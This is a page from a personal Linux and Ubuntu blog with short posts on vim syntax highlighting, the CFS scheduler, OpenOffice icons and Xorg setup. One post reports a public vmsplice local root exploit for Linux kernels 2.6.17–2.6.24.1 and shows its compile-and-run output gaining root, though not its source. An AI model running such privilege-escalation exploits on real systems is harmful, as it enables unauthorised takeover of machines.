Karim Vaes

Why chop at leaves, when one must dig at roots
  • Home
  • About me
    • Curriculum Vitae
  • Scripts
    • OWA Most Popular
  • Search
  • License
  • Contact

Getting PHP syntaxing working in vi on Ubuntu

If you want the syntax highlighting to work with Vim on Ubuntu, then simply install the vim-full package:

sudo apt-get install vim-full

Edit the /etc/vim/vimrc file and uncomment (remove the following line

syntax on

Easy as that… (all you need is a few minutes and a bit of bandwith to download the packages)

Comments
No Comments »
Categories
PHP, Ubuntu
Comments rss Comments rss
Trackback Trackback
1 Star2 Stars3 Stars4 Stars5 Stars (1 votes, average: 2.00 out of 5)
Loading ... Loading ...

Linux Kernel 2.6.17 – 2.6.24.1 vmsplice Local Root Exploit

Hacked

A proof of concept for a local root exploit to hack linux kernels between version 2.6.17 and 2.6.24.1 has been released by ‘milw0rm’. I guess I won’t be the only one who says “feck…” to this.

$ gcc exploit.c -o exploit
$ whoami
heikki
$ ./exploit
———————————–
Linux vmsplice Local Root Exploit
By qaaz
———————————–
[+] mmap: 0×0 .. 0×1000
[+] page: 0×0
[+] page: 0×20
[+] mmap: 0×4000 .. 0×5000
[+] page: 0×4000
[+] page: 0×4020
[+] mmap: 0×1000 .. 0×2000
[+] page: 0×1000
[+] mmap: 0xb7d90000 .. 0xb7dc2000
[+] root
$ whoami
root
Kernel 2.6.22-14-generic

References:
LKML
milw0rm.com
Launchpad
Debian Bugs

Comments
No Comments »
Categories
Security, Ubuntu, Unix/Linux
Comments rss Comments rss
1 Star2 Stars3 Stars4 Stars5 Stars (No Ratings Yet)
Loading ... Loading ...

The basics behind the Completely Fair Scheduler

The GNU/Linux kernel, version 2.6.23, comes with a modular scheduler core and a Completely Fair Scheduler (CFS), which is implemented as a scheduling module. If you’re interested in the workings of this scheduler, be sure to check out the following article at DevWorks. Below you can find an excerpt of the article, which is in my opinion the core of the article.

How CFS worksSchedule
The CFS scheduler uses an appeasement policy that guarantees fairness. As a task gets into the runqueue, the current time is recorded, and while the process waits for the CPU, its wait_runtime value gets incremented by an amount depending on the number of processes currently in the runqueue. The priority values of different tasks are also considered while doing these calculations. When this task gets scheduled to the CPU, its wait_runtime value starts decrementing and as this value falls to such a level that other tasks become the new left-most task of the red-black tree and the current one gets preempted. This way CFS tries for the ideal situation where wait_runtime is zero!

Read the rest of this entry »

Comments
No Comments »
Categories
Ubuntu, Unix/Linux
Comments rss Comments rss
1 Star2 Stars3 Stars4 Stars5 Stars (No Ratings Yet)
Loading ... Loading ...

Openoffice without icons in Ubuntu

Issue
If you’re using an icon theme other than the default for Ubuntu causes OpenOffice to have no icons in the menus or on the toolbars, causing the toolbars actually have the tooltip text as the button’s text (example: Export to PDF, Print File Directly, Spellcheck, etc).

Toolbar
Workaround
Install the “openoffice.org-style-default” package, which installs the “openoffice.org-style-andromeda” package.
OR: Use the default Human theme for Ubuntu.

sudo apt-get install openoffice.org-style-default

References
Ubuntu forums
Launchpad

Comments
1 Comment »
Categories
Ubuntu
Comments rss Comments rss
1 Star2 Stars3 Stars4 Stars5 Stars (1 votes, average: 5.00 out of 5)
Loading ... Loading ...

Tips & Tricks : Finding your monitor settings for your xserver config

Xorg

This post is meant to share a small trick that I often use when installing linux on unknown systems. In my opinion, one of the biggest downsides in linux is setting up your monitor. Imagine starting out with linux, cause you hear it was great, installed it… and got an ugly looking desktop because the Xorg.conf is has the default properties.

Then you have a lot of evangelists saying you can perfectly calculate these values, but the thing that pops into my mind at this point is “user friendliness”.

A lot of things said to come down to the trick:

  • Download knoppix
  • Burn/mount it, so you can boot from it
  • Boot your desktop/laptop with the knoppix live-cd.
  • Backup the Xorg.conf file
  • Boot your main linux distro (cfr. Ubuntu, Suse, Fedora, RedHat, Debian, … whatever)
  • Backup your original Xorg.conf file
  • Restore the Xorg.conf file from the Knoppix generated one
  • Tweak it to your preferences

A additional & simple step that might ease up things for you… ;-)

Comments
No Comments »
Categories
Ubuntu, Unix/Linux
Comments rss Comments rss
1 Star2 Stars3 Stars4 Stars5 Stars (No Ratings Yet)
Loading ... Loading ...

« Previous Entries

Recent Posts

  • Treating the root cause to cancer
  • Is “entrepreneur” a bad word?
  • Where physics meets marketing
  • Where USSR meets IT?
  • Accepting our limitations, is giving us the opportunity to overcome them!

Similar Posts

  • Openoffice without icons in Ubuntu
  • ssh tunnel thru http proxy
  • The Virtualization options in Linux
  • Finding out which packages are installed on your Ubuntu system
  • Vmmon Issues with ubuntu gutsy gibson

Recent Comments

  • Karim Vaes on Accept every offer!
  • Danny on The teachings of Budo in Business
  • Pascal on The Service Catalog
  • Shubert on WordPress widget : Most popular posts
  • Dermana Agrı Kesici Krem on OWA Most Popular

Commercial

Categories

2.0 Ads Agile Bash Blogroll Book Brain Business Career Change CIO Collaboration Communication Corner Creative CRM Culture Desktop Development Dreambox Drupal Education Entrepreneur F5 Firefox Food Freelance Fun General Green Growth High Availability Human Resources Idea Infrastructure Insightful Interesting IT ITIL Java Lesson License Life Malware Management Mind Model Motivation MythTV Network NLP OpenSource Performance PHP PM Presentation Project Proverb Quote Remote Scrum Security SEO Social Spam Storage Stress Tactical Team Tech TED Time Management Tip Tool TV Ubuntu Unix/Linux Vids Vim Virtual VmWare Voip Web Wordpress

Archives

  • August 2010
  • July 2010
  • May 2010
  • April 2010
  • January 2010
  • December 2009
  • November 2009
  • October 2009
  • August 2009
  • July 2009
  • June 2009
  • April 2009
  • March 2009
  • February 2009
  • January 2009
  • December 2008
  • November 2008
  • October 2008
  • September 2008
  • August 2008
  • July 2008
  • June 2008
  • May 2008
  • April 2008
  • March 2008
  • February 2008
  • January 2008
  • December 2007
  • November 2007
  • October 2007
  • September 2007
  • August 2007
  • July 2007
  • June 2007
  • May 2007
  • April 2007
rss Comments rss valid xhtml 1.1 design by jide licensed as Creative Commons Attribution